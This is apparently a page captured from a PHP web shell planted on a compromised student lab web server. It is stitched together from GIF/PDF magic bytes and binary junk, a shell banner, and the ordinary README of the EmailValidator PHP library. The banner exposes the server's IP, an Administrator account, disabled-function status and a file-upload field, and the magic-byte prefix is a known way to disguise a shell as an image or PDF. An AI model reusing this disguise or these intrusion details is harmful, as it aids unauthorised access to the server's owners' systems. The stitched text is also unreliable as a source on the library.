GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/vendor/egulias/email-validator/ |
Upload File : |
#EmailValidator [](https://travis-ci.org/egulias/EmailValidator) [](https://coveralls.io/r/egulias/EmailValidator?branch=master) [](https://scrutinizer-ci.com/g/egulias/EmailValidator/?branch=master) [](https://insight.sensiolabs.com/projects/22ba6692-9c02-42e5-a65d-1c5696bfffc6) ============================= With the help of  ##Installation## Run the command below to install via Composer ```shell composer require egulias/email-validator "~1.2" ``` ##Usage## Simple example: ```php <?php use Egulias\EmailValidator\EmailValidator; $validator = new EmailValidator; if ($validator->isValid($email)) { echo $email . ' is a valid email address'; } ``` More advanced example (returns detailed diagnostic error codes): ```php <?php use Egulias\EmailValidator\EmailValidator; $validator = new EmailValidator; $email = 'dominic@sayers.cc'; $result = $validator->isValid($email); if ($result) { echo $email . ' is a valid email address'; } else if ($validator->hasWarnings()) { echo 'Warning! ' . $email . ' has unusual/deprecated features (result code ' . var_export($validator->getWarnings(), true) . ')'; } else { echo $email . ' is not a valid email address (result code ' . $validator->getError() . ')'; } ``` ##Contributors## As this is a port from another library and work, here are other people related to the previous: * Ricard Clau [@ricardclau](http://github.com/ricardclau): Performance against PHP built-in filter_var * Josepf Bielawski [@stloyd](http://github.com/stloyd): For its first re-work of Dominic's lib * Dominic Sayers [@dominicsayers](http://github.com/dominicsayers): The original isemail function ##License## Released under the MIT License attached with this code.